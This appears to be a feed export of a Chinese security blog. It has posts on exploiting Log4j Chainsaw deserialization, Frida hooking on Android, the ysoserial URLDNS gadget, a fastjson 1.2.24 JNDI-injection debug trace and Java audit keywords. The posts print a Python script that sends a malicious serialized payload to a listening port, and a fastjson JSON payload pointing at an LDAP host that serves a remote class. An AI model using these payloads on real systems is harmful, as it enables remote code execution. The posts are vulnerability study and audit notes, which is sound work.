class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-comment">#coding:utf-8</span><br><span class="hljs-keyword">import</span> socket<br>s = socket.socket()<br>host = <span class="hljs-string">&quot;172.20.10.14&quot;</span><span class="hljs-comment">#target ip</span><br>port = <span class="hljs-number">4445</span><span class="hljs-comment">#The listening port set by the component</span><br>s.connect((host,port))<br>ssss = <span class="hljs-built_in">open</span>(<span class="hljs-string">&quot;exp.ser&quot;</span>,<span class="hljs-string">&#x27;rb&#x27;</span>)//Malicious data<br>xc = ssss.read()<br>s.send(xc)<br>s.close()<br></code></pre></div></td></tr></table></figure><p>running exp.py can trigger the vulnerability.</p><p><img src="/images/63/1.png"></p><h2 id="OR"><a href="#OR" class="headerlink" title="OR"></a>OR</h2><p>Web demo:</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Log4jVul</span> </span>&#123;<br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> </span>&#123;<br>        String[] arg = &#123;&#125;;<br>        Main.main(arg);<br>    &#125;<br>&#125;<br></code></pre></div></td></tr></table></figure><p>When you run the above demo, you will be prompted:</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">[main] DEBUG org.apache.log4j.chainsaw.MyTableModel - Total time [ms]: 1 <span class="hljs-keyword">in</span> update, size: 0<br>[Thread-4] INFO org.apache.log4j.chainsaw.LoggingReceiver - Thread started<br>[Thread-4] DEBUG org.apache.log4j.chainsaw.LoggingReceiver - Waiting <span class="hljs-keyword">for</span> a connection<br></code></pre></div></td></tr></table></figure><p>It will prompt to wait for a connection. At this time, sending malicious serialized data to port 4445 will trigger the vulnerability.</p>]]></content>
    
    
    <categories>
      
      <category>JAVA</category>
      
    </categories>
    
    
    <tags>
      
      <tag>JAVA反序列化</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>模拟器里frida的简单学习</title>
    <link href="/2021/08/15/60/"/>
    <url>/2021/08/15/60/</url>
    
    <content type="html"><![CDATA[<h1 id="一、Frida安装"><a href="#一、Frida安装" class="headerlink" title="一、Frida安装"></a>一、Frida安装</h1><p>pip install frida<br>pip install frida-tools<br><img src="/images/60/1.png"></p><p>模拟器使用雷电模拟器，下载对应内核架构版本frida-server安装到模拟器<br><a href="https://github.com/frida/frida/releases">https://github.com/frida/frida/releases</a><br><img src="/images/60/2.png"><br>我的是i686对应的是32位所以下载32位的版本（也可以开启模拟器使用adb shell进去后执行<code>cat /proc/cpuinfo</code>查看版本，看不到就下载一个检测硬件的检测）<br><img src="/images/60/3.png"><br>下载完后解压，执行命令将文件移到手机里<br><code>adb push 解压目录 /data/local/tmp/</code><br><img src="/images/60/4.png"><br>然后adb shell连接手机，依次执行以下命令</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">su <span class="hljs-comment">#执行特权</span><br><span class="hljs-built_in">cd</span> /data/<span class="hljs-built_in">local</span>/tmp/ <span class="hljs-comment">#进入到frida-server文件目录</span><br>ls <span class="hljs-comment">#查看你的frida-server文件叫啥以方便执行</span><br>chmod 777 frida-server <span class="hljs-comment">#给文件读写执行权限</span><br></code></pre></div></td></tr></table></figure><p><img src="/images/60/5.png"><br><code>./frida-server #开启frida-server</code><br><img src="/images/60/6.png"><br>查看是否成功：另起一个cmd，转发端口<br><code>adb forward tcp:27042 tcp:27042</code><br><img src="/images/60/7.png"><br>执行<code>frida-ps -R</code>就会列出设备里的所有进程，代表frida已经部署成功了<br><img src="/images/60/8.png"></p><h1 id="二、hook测试"><a href="#二、hook测试" class="headerlink" title="二、hook测试"></a>二、hook测试</h1><p>模拟器安装一个测试app运行<br><img src="/images/60/9.png"><br>运行python脚本得到android手机当前最前端Activity所在的进程（最新运行的app的进程）：</p><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-keyword">import</span> frida<br>rdev = frida.get_remote_device()<br>front_app = rdev.get_frontmost_application()<br><span class="hljs-built_in">print</span> (front_app)<br>````<br>![](/images/<span class="hljs-number">60</span>/<span class="hljs-number">10.</span>png)<br><br>枚举所有进程：<br>```python<br><span class="hljs-keyword">import</span> frida<br>rdev = frida.get_remote_device()<br>processes = rdev.enumerate_processes()<br><span class="hljs-keyword">for</span> process <span class="hljs-keyword">in</span> processes:<br><span class="hljs-built_in">print</span> (process)<br></code></pre></div></td></tr></table></figure><p><img src="/images/60/11.png"><br>hook android的java层函数，开始尝试劫持：<br>原app（点击按钮提示“source string！”）<br><img src="/images/60/12.png"><br>运行脚本劫持内容：</p><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-comment"># encoding: utf-8</span><br><span class="hljs-keyword">import</span> frida  <span class="hljs-comment">#导入frida模块</span><br><span class="hljs-keyword">import</span> sys    <span class="hljs-comment">#导入sys模块</span><br><br>jscode = <span class="hljs-string">&quot;&quot;&quot;</span><br><span class="hljs-string">    Java.perform(function()&#123;  </span><br><span class="hljs-string">        var MainActivity = Java.use(&#x27;com.example.testfrida.MainActivity&#x27;);</span><br><span class="hljs-string">        MainActivity.testFrida.implementation = function()&#123;</span><br><span class="hljs-string">            send(&#x27;Statr! Hook!&#x27;);</span><br><span class="hljs-string">            return &#x27;Change String!&#x27; #劫持点，点击按钮后要改变的内容</span><br><span class="hljs-string">        &#125;</span><br><span class="hljs-string">    &#125;);</span><br><span class="hljs-string">&quot;&quot;&quot;</span><br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">on_message</span>(<span class="hljs-params">message,data</span>):</span> <span class="hljs-comment">#js中执行send函数后要回调的函数</span><br>    <span class="hljs-built_in">print</span>(message)<br><br>process = frida.get_remote_device().attach(<span class="hljs-string">&#x27;testfrida&#x27;</span>) <span class="hljs-comment">#得到设备并劫持进程com.example.testfrida</span><br>script = process.create_script(jscode) <span class="hljs-comment">#创建js脚本</span><br>script.on(<span class="hljs-string">&#x27;message&#x27;</span>,on_message) <span class="hljs-comment">#加载回调函数，也就是js中执行send函数规定要执行的python函数</span><br>script.load() <span class="hljs-comment">#加载脚本</span><br>sys.stdin.read()<br></code></pre></div></td></tr></table></figure><p><img src="/images/60/13.png"><br>其中jscode为js实现，具体看官方文档<br><a href="https://frida.re/docs/quickstart/">https://frida.re/docs/quickstart/</a></p><p>以后每次启动都要执行</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">adb shell <span class="hljs-string">&quot;cd /data/local/tmp&amp;&amp;ls&amp;&amp;./frida-server&quot;</span><br>adb forward tcp:27042 tcp:27042<br></code></pre></div></td></tr></table></figure><h1 id="hook密钥"><a href="#hook密钥" class="headerlink" title="hook密钥"></a>hook密钥</h1><p>推荐工具inspeckage</p><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><p>[1] <a href="https://www.jianshu.com/p/9731185d33aa">https://www.jianshu.com/p/9731185d33aa</a></p><p>[2] <a href="https://blog.csdn.net/qq_38851536/article/details/103755407?utm_medium=distribute.pc_relevant.none-task-blog-title-6&amp;spm=1001.2101.3001.4242">https://blog.csdn.net/qq_38851536/article/details/103755407?utm_medium=distribute.pc_relevant.none-task-blog-title-6&amp;spm=1001.2101.3001.4242</a></p><p>[3] <a href="https://www.anquanke.com/post/id/86567">https://www.anquanke.com/post/id/86567</a></p><p>[4] <a href="https://www.52pojie.cn/thread-1128884-1-1.html">https://www.52pojie.cn/thread-1128884-1-1.html</a></p>]]></content>
    
    
    <categories>
      
      <category>安卓测试</category>
      
    </categories>
    
    
    <tags>
      
      <tag>安卓测试</tag>
      
      <tag>frida</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>python3一些问题</title>
    <link href="/2021/06/09/59/"/>
    <url>/2021/06/09/59/</url>
    
    <content type="html"><![CDATA[<p>编码：<br>头部加</p><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-keyword">import</span> sys<br>sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding=<span class="hljs-string">&#x27;utf-8&#x27;</span>)<br></code></pre></div></td></tr></table></figure><p>que库：</p><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-keyword">from</span> Queue <span class="hljs-keyword">import</span> Queue<br></code></pre></div></td></tr></table></figure><p>提示没有Queue，安装<br><img src="/images/59/1.png"><br>install的时候老是报这个错误，百度的都不能解决问题（涉及到技术问题的百度都是垃圾），其实不是网络问题，改一下小写就可以了</p><figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-keyword">from</span> queue <span class="hljs-keyword">import</span> Queue<br></code></pre></div></td></tr></table></figure>]]></content>
    
    
    <categories>
      
      <category>python</category>
      
    </categories>
    
    
    <tags>
      
      <tag>python</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>ysoserial URLDNS  gadget分析笔记</title>
    <link href="/2021/05/19/55/"/>
    <url>/2021/05/19/55/</url>
    
    <content type="html"><![CDATA[<p>首先查看给出的gadget chain<br><img src="/images/55/1.png"><br>因为反序列化时如果被反序列化的类里实现了Serializable接口且有readObject的话就会执行该方法里的实现，所以跟进readObject，<br> <img src="/images/55/2.png"><br>重写反序列化，计算流的字节，然后使用putval方法来处理HashMap.hash()方法处理key返回的结果<br><img src="/images/55/3.png"><br>跟进hash，在该方法中对传来的参数做了一次判断，当key不为空时调用到key.hashCode<br><img src="/images/55/4.png"><br>因为key是前面传过来的对象u<br><img src="/images/55/5.png"><br>所以根据URLDNS类得知实际为URL类中的hashcode方法<br><img src="/images/55/6.png"><br>在该方法中做了一次判断，当hashcode的值为-1时就进入到handler.hashCode，在URLStreamHandler.hashCode中做了发起dns的请求的操作，具体为：<br><img src="/images/55/7.png"><br>参数传入了getHostAddress，在该方法里将u.getHost的值传进getByName，u.getHost即传来的参数url：<br><img src="/images/55/9.png"><br><img src="/images/55/10.png"><br>最后使用InetAddress.getByName(host)获取主机名，也就是在这里发出了dnslog请求<br><img src="/images/55/8.png"></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>ysoserial</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>fastjson1.2.24反序列化jndi注入利用调试跟进</title>
    <link href="/2021/03/11/57/"/>
    <url>/2021/03/11/57/</url>
    
    <content type="html"><![CDATA[<p>一直对jndi注入只有个大概的认识，今天学习一下原理，从fj反序列化漏洞入手调试学习<br>Payload</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">&#123;<span class="hljs-string">&quot;@type&quot;</span>:<span class="hljs-string">&quot;com.sun.rowset.JdbcRowSetImpl&quot;</span>,<span class="hljs-string">&quot;dataSourceName&quot;</span>:<span class="hljs-string">&quot;ldap://192.168.43.147:1389/o=reference&quot;</span>,<span class="hljs-string">&quot;autoCommit&quot;</span>:<span class="hljs-literal">true</span>&#125;&#125;<br></code></pre></div></td></tr></table></figure><p>前面参数传递省略，分两个部分跟进</p><h1 id="0x01-Fastjson反序列化实现流程跟进"><a href="#0x01-Fastjson反序列化实现流程跟进" class="headerlink" title="0x01.Fastjson反序列化实现流程跟进"></a>0x01.Fastjson反序列化实现流程跟进</h1><p><img src="/images/57/1.png"><br>当参数第一个字符为<code>&#123;</code>时进入<code>case 12</code><br><img src="/images/57/2.png"><br>跟进<code>DefaultJSONParser.parseObject</code><br>随后判断参数如果{的后面是双引号，就使用<code>scanSymbol</code>方法获取双引号里的内容<br><img src="/images/57/3.png"><br>跟进<code>JSONLexerBase.scanSymbol</code><br>开始获取双引号里的内容，扫描传来的值获取key<br><img src="/images/57/4.png"><br><img src="/images/57/5.png"><br><code>Key</code>为<code>@type</code><br><img src="/images/57/6.png"><br>回到<code>JSONLexerBase.scanSymbol</code><br>具体为计算长度，根据长度来获取对应位置的字符，在<code>JSONScanner.next</code>方法中index为双引号开始部分，经过不断遍历，此时index为7，也就是扫描从双引号开始第7位字符的符号，<br><img src="/images/57/7.png"><br>再次得到双引号，符合条件跳出循环<br><img src="/images/57/8.png"><br>最终拿到双引号里的<code>@type</code>符合条件后进入下一步<br><img src="/images/57/9.png"><br>开始扫描下一个双引号里的字符<br><img src="/images/57/10.png"><br>经过像上一步一样的操作最终得到<code>com.sun.rowset.JdbcRowSetImpl</code><br><img src="/images/57/11.png"><br>返回上一层进入下一步<br><img src="/images/57/12.png"><br>此处为取得一些基础类，进入<code>loadclass</code>方法<br><img src="/images/57/13.png"><br>mappings是当前类加载器的缓存（相当于是一个容器，classname是key，根据key从容器取出class对象），此处想要从缓存里取出<code>com.sun.rowset.JdbcRowSetImpl</code>，但是<code>mappings</code>不存在这个对象<br><img src="/images/57/14.png"><br>所以开始下一步的判断，从获取到的<code>ClassName</code>看到第一位字符为c，所以绕过第一个及第二个if进入到try<br><img src="/images/57/15.png"><br><code>Classloader</code>为空不满足条件，继续下一个<code>try</code><br><img src="/images/57/16.png"><br>将<code>com.sun.rowset.JdbcRowSetImpl</code>一系列操作后缓存到<code>mappings</code>里，此时<code>clazz</code>为<code>com.sun.rowset.JdbcRowSetImpl</code>，满足前面<code>clazz</code>不为空的条件<br><img src="/images/57/17.png"><br><img src="/images/57/18.png"><br><img src="/images/57/19.png"><br>即<br><img src="/images/57/20.png"><br>然后通过<code>getDeserializer</code>方法得到clazz对象所有参数<br><img src="/images/57/21.png"><br>跟进<code>getDeserializer</code>往下走<br>在<code>getFieId</code>方法里会使用到反射加载的方式来获取对象的<code>set</code>、<code>get</code>方法<br><img src="/images/57/22.png"><br>获取完对象后开始反序列化<br><img src="/images/57/23.png"></p><h2 id="总结流程为："><a href="#总结流程为：" class="headerlink" title="总结流程为："></a>总结流程为：</h2><p>遍历传入的json，取出对应的内容（对象、对象参数）-&gt;获取取出的对象的所有set、get方法-&gt;根据取得的内容做反序列化</p><h1 id="0x02-Jndi注入跟进"><a href="#0x02-Jndi注入跟进" class="headerlink" title="0x02.Jndi注入跟进"></a>0x02.Jndi注入跟进</h1><p>流程走到<br><code>com.sun.rowset.JdbcRowSetImpl#connect</code><br><img src="/images/57/24.png"><br>这里的参数<code>dataSourceName</code>是在前面反序列化时反射加载得到的<code>setter</code>方法<code>setDataSourceName(String name)</code>中设置的，由于可控所以满足jndi注入的条件，此时<code>dataSourceName</code>的值为前面传来的<code>ldap://192.168.43.147:1389/o=reference</code>，再用<code>lookup</code>查找传来的数据源从而进行调用<br>跟进lookup方法看具体实现</p><figure class="highlight"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">javax.naming.InitialContext#lookup<br></code></pre></div></td></tr></table></figure><p><img src="/images/57/25.png"><br><code>getURLOrDefaultInitCtx</code>函数会分析传来的<code>name</code>的协议头然后返回对应协议的<code>Context</code>对象子类，然后在对应协议处理对象中去<code>lookup</code>搜索<br>跟进<code>getURLOrDefaultInitCtx </code></p><figure class="highlight"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">javax.naming.InitialContext#getURLOrDefaultInitCtx<br></code></pre></div></td></tr></table></figure><p><img src="/images/57/26.png"><br>跟进<code>getURLContext</code>查看对协议的处理</p><figure class="highlight"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">javax.naming.NamingManager#getURLContext<br></code></pre></div></td></tr></table></figure><p><img src="/images/57/27.png"><br>此处协议是ldap所以返回<code>GenericURLDirContext</code>对象的子类<code>ldapURLContext</code>，继续跟进<code>lookup</code></p><figure class="highlight"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">com.sun.jndi.url.ldap.ldapURLContext#lookup<br></code></pre></div></td></tr></table></figure><p><img src="/images/57/28.png"><br>往上跟到父类的<code>lookup</code></p><figure class="highlight"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">com.sun.jndi.toolkit.url.GenericURLContext#lookup<br></code></pre></div></td></tr></table></figure><p><img src="/images/57/29.png"><br>具体链为</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">com.sun.jndi.url.ldap.ldapURLContext#getRootURLContext-&gt; <br>com.sun.jndi.url.ldap.ldapURLContextFactory#getUsingURLIgnoreRootDN-&gt; <br>javax.naming.spi.ResolveResult#ResolveResult-&gt;<br>…<br></code></pre></div></td></tr></table></figure><p><img src="/images/57/30.png"><br>回到<code>lookup</code>方法，<br><img src="/images/57/31.png"><br>调用注册中心的<code>lookup</code>方法去查找传来的<code>name</code>（此处的<code>remainingName</code>即传来的恶意类）<br>流程走到</p><figure class="highlight"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">com.sun.jndi.ldap.LdapCtx#c_lookup<br></code></pre></div></td></tr></table></figure><p><img src="/images/57/32.png"><br>获取对象实例，跟进<code>getObjectInstance</code></p><figure class="highlight"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">javax.naming.spi.DirectoryManager#getObjectInstance<br></code></pre></div></td></tr></table></figure><p><img src="/images/57/33.png"><br>由于<br><code>javax.naming.spi.NamingManager#getObjectFactoryBuilder</code>的属性为null，所以跳过此处判断<br><img src="/images/57/34.png"><br>回到<code>DirectoryManager</code>类，往下走<br><img src="/images/57/35.png"><br>判断<code>refinfo</code>是否为<code>Reference</code>的实例对象，将恶意类封装到<code>ref</code>中<br>，往下走<br><img src="/images/57/36.png"><br>，获取封装到<code>ref</code>对象的类名，随后到<code>Reference</code>里加载传来的<code>ref</code>，跟进<code>getObjectFactoryFromReference</code>查看具体实现</p><figure class="highlight"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">javax.naming.spi.NamingManager#getObjectFactoryFromReference<br></code></pre></div></td></tr></table></figure><p>尝试从本地加载<code>Factory</code>类：<br><img src="/images/57/37.png"><br>如果本地不存在此类，则会从<code>codebase</code>中加载：<br><img src="/images/57/38.png"><br>跟进<code>loadclass</code>方法，</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">com.sun.naming.internal.VersionHelper<br></code></pre></div></td></tr></table></figure><p><img src="/images/57/39.png"><br>这是一个抽象类，由于抽象类不能被直接实例化，所以我们跟进到他的子类的<code>loadclass</code>方法</p><figure class="highlight"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">com.sun.naming.internal.VersionHelpe12#loadclass<br></code></pre></div></td></tr></table></figure><p><img src="/images/57/40.png"><br>进入到<code>forname</code></p><figure class="highlight"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">java.lang.class#forname<br></code></pre></div></td></tr></table></figure><p>由于<code>security</code>属性为<code>null</code>所以跳过安全检查直接返回对象<br><img src="/images/57/41.png"><br>回到<code>VersionHelpe12#loadclass</code>，最后通过<code>URLClassLoader</code>从远程动态加载恶意类：<br><img src="/images/57/42.png"><br>此处的<code>getUrlArray</code>方法为父类的解析实现</p><figure class="highlight"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">VersionHelper#getUrlArray<br></code></pre></div></td></tr></table></figure><p><img src="/images/57/43.png"><br>回到<code>Javax.naming.spi.NamingManager#getObjectFactoryFromReference</code><br>实例化<code>URLClassLoader</code>从远程动态加载的恶意类，从而加载恶意代码触发命令：<br><img src="/images/57/44.png"><br>实例化调用链如下</p><figure class="highlight"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">Java.lang.class#newInstance-&gt;<br>java.lang.reflect.Constructor#newInstance-&gt;<br>sun.reflect.DelegatingConstructorAccessorImpl#newInstance-&gt;<br>sun.reflect.NativeConstructorAccessorImpl#newInstance-&gt;<br>sun.reflect.NativeConstructorAccessorImpl#newInstance0<br></code></pre></div></td></tr></table></figure><p><img src="/images/57/45.png"></p><h2 id="总结流程为：-1"><a href="#总结流程为：-1" class="headerlink" title="总结流程为："></a>总结流程为：</h2><p>获取数据源-&gt;获取参数协议头，根据获取的协议进入对应的处理方法-&gt;加载factory对象-&gt;实例化获取的对象</p><h1 id="总结fastjson漏洞原理："><a href="#总结fastjson漏洞原理：" class="headerlink" title="总结fastjson漏洞原理："></a>总结fastjson漏洞原理：</h1><p>fastjson是根据json内容转为对应的javabean，即fastjson会取得json中的类及类的参数进行反序列化，由于json可控，攻击者可以自定义类及类的参数，所以fastjson在获取攻击者传入的对象的set、get方法时会根据攻击者传入的json来进行设定set方法的值，最后在反序列化时触发漏洞。拿jndi注入来说，攻击者传入json内容<code>&#123;&quot;@type&quot;:&quot;com.sun.rowset.JdbcRowSetImpl&quot;,&quot;dataSourceName&quot;:&quot;ldap://192.168.83.11:1389/o=tomcat&quot;,&quot;autoCommit&quot;:true&#125;</code>，fastjson首先会取得JdbcRowSetImpl类，在取JdbcRowSetImpl类的所有set、get方法时会将数据源ldap://192.168.83.11:1389/o=tomcat当作setDataSourceName的值来设定，最后在还原成JdbcRowSetImpl时就会去加载该数据源从而加载远程恶意类达到攻击目的。</p><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><ul><li><a href="https://kingx.me/Exploit-Java-Deserialization-with-RMI.html">深入理解JNDI注入与Java反序列化漏洞利用</a></li><li><a href="https://xz.aliyun.com/t/6633">JNDI注入原理及利用</a></li></ul>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
      <tag>fastjson反序列化</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>.getBean(&quot;&quot;) .callMethod(&quot;&quot;)的思路</title>
    <link href="/2021/01/12/47/"/>
    <url>/2021/01/12/47/</url>
    
    <content type="html"><![CDATA[<figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">CallMethodService service = ContextUtil.getBean(<span class="hljs-string">&quot;aiasset-obsoleteservice&quot;</span>);<br>JSONObject json = service.callMethod(<span class="hljs-string">&quot;exportObsoleteResmDetail&quot;</span>, pagequery) ;<br></code></pre></div></td></tr></table></figure><p>相当于</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">Obsoleteservice service = <span class="hljs-keyword">new</span> Obsoleteservice();<br>JSONObject json = service.exportObsoleteResmDetail(pagequery);<br></code></pre></div></td></tr></table></figure><p>再碰到此类问题的时候就跟进obsoleteservice类的exportObsoleteResmDetail方法，往下就是跟springMVC的跟进思路相同</p><p>为什么要这样写不直接new呢，问了一下同事说是因为直接new的话只能调用当前模块的类，而第一个写法可以跨模块获取</p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>java审计</tag>
      
      <tag>审计思路</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>java代码审计关键字讲解</title>
    <link href="/2020/12/24/46/"/>
    <url>/2020/12/24/46/</url>
    
    <content type="html"><![CDATA[<h1 id="fastjson反序列化"><a href="#fastjson反序列化" class="headerlink" title="fastjson反序列化"></a>fastjson反序列化</h1><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">json.parseObject<br>JSONObject.parseObject<br><span class="hljs-meta">@RequestBody</span><br></code></pre></div></td></tr></table></figure><h1 id="其他反序列化"><a href="#其他反序列化" class="headerlink" title="其他反序列化"></a>其他反序列化</h1><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">request.getinputstream<br>ObjectInputStream<br>.readObject()<br>deserialize<br>Serialize<br><span class="hljs-meta">@RequestBody</span><br>ObjectInputStream.readUnshared<br>XMLDecoder.readObject<br>Yaml.load<br>XStream.fromXML<br>ObjectMapper.readValue<br></code></pre></div></td></tr></table></figure><h1 id="文件上传"><a href="#文件上传" class="headerlink" title="文件上传"></a>文件上传</h1><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">/upload<br>/file<br>/save<br>/add<br></code></pre></div></td></tr></table></figure><h1 id="命令执行"><a href="#命令执行" class="headerlink" title="命令执行"></a>命令执行</h1><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">Runtime.getRuntime().exec<br><span class="hljs-keyword">case</span> shell<br>ShellProcessor<br>processor<br></code></pre></div></td></tr></table></figure><h1 id="SQL注入"><a href="#SQL注入" class="headerlink" title="SQL注入"></a>SQL注入</h1><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">order by<br>= <span class="hljs-string">&#x27;&quot;+</span><br><span class="hljs-string">query（queryList）</span><br><span class="hljs-string">like &quot;%</span><br><span class="hljs-string">.call</span><br><span class="hljs-string">$&#123;</span><br></code></pre></div></td></tr></table></figure><h1 id="文件下载"><a href="#文件下载" class="headerlink" title="文件下载"></a>文件下载</h1><figure class="highlight java"><table><tr><td class="gutter hljs"><div 